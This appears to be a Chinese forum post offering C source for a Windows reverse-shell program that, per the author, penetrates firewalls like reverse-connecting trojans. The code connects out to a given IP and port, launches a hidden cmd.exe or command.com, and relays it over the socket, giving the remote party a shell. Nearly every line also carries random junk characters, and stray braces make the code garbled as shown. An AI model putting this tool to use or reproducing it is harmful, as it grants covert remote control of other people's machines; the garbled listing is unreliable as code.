这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M|HW$8V3_2
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/* ============================== xK7xAO
Rebound port in Windows NT HNFG:t9
By wind,2006/7 25:[VH$:4
===============================*/ U04TVQn`
#include . 5cL+G1k#
#include Nft~UggK
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#pragma comment(lib,"wsock32.lib") !z EW)
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void OutputShell(); H K]-QTEn
SOCKET sClient; B^;G3+}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8Uv2p{ <#
{ :^;byd
void main(int argc,char **argv) pZVT:qFF
{ v--Qbu
WSADATA stWsaData; As5*)o"&
int nRet; =sp5.-r
SOCKADDR_IN stSaiClient,stSaiServer; QsXy(w#F
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if(argc != 3) l0
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{ Q+i
printf("Useage:\n\rRebound DestIP DestPort\n"); Rhfx
return; 5{PT
} 88]4GVi
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WSAStartup(MAKEWORD(2,2),&stWsaData); o(gEyK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8LPvb#9=
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stSaiClient.sin_family = AF_INET; E"/r*C+T
stSaiClient.sin_port = htons(0); t.s;dlx[@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8@)4)+e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r;7&U<j~Z
{ 5#WyI#YNG
printf("Bind Socket Failed!\n"); 2F
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return; !gyEw1Re7
} ~MpcVI_K
##\
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stSaiServer.sin_family = AF_INET; FD1Z}v!5IJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dlf nhf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;_nV*G.y#^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x%`.L6rj
{ !vY5X2?tr,
printf("Connect Error!"); myvn@OsEw
return; *a[iq`499
} (Qp53g
OutputShell(); ( +x!wX( x
} h!!7LPxt
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void OutputShell()
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{ aSEzh78
char szBuff[1024]; &2Q0ii#Aa
SECURITY_ATTRIBUTES stSecurityAttributes; +gh*n,:|
OSVERSIONINFO stOsversionInfo; c`M
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FWb`F&
STARTUPINFO stStartupInfo; },& =r= B
char *szShell; bpaS(nBy
PROCESS_INFORMATION stProcessInformation; OBp&64
unsigned long lBytesRead; >>I~v)a>w
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OGGuV Y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ln&9WF\I
stSecurityAttributes.lpSecurityDescriptor = 0; xU(yc}vw,
stSecurityAttributes.bInheritHandle = TRUE; =JM !`[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dp=#|!jc
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [+_0y[~,tB
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Rct=vDU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l6y*SW5+
stStartupInfo.wShowWindow = SW_HIDE; =e!o
stStartupInfo.hStdInput = hReadPipe; 1cvH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iI@m e=
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GetVersionEx(&stOsversionInfo); n| [RXpAp3
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switch(stOsversionInfo.dwPlatformId) W:TF8Onw
{ m!H7;S-(
case 1: p(`?y:.3
szShell = "command.com"; ?T\_"G
break; Au[H!J
default: r!WXD9#
szShell = "cmd.exe"; `a:L%Ex
break; x J[Xmre
} Ix1[ $9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *j/[5J0'M
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send(sClient,szMsg,77,0); .C7;T'>!
while(1) GJB=5nE
{ 7$HN5T\!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }+3IM1VTW{
if(lBytesRead) &
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{ hq[RU&\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \8HLQly|@
send(sClient,szBuff,lBytesRead,0); xOgUX6n
} 5Z@~d'D
else 2ij/!
{ DD(K@M
lBytesRead=recv(sClient,szBuff,1024,0); n>-"\cjV
if(lBytesRead<=0) break; $4Ko
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Mq[|w2.
} ;;cPt44s
} 7x ?2((
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return; 7\e96+j|f
}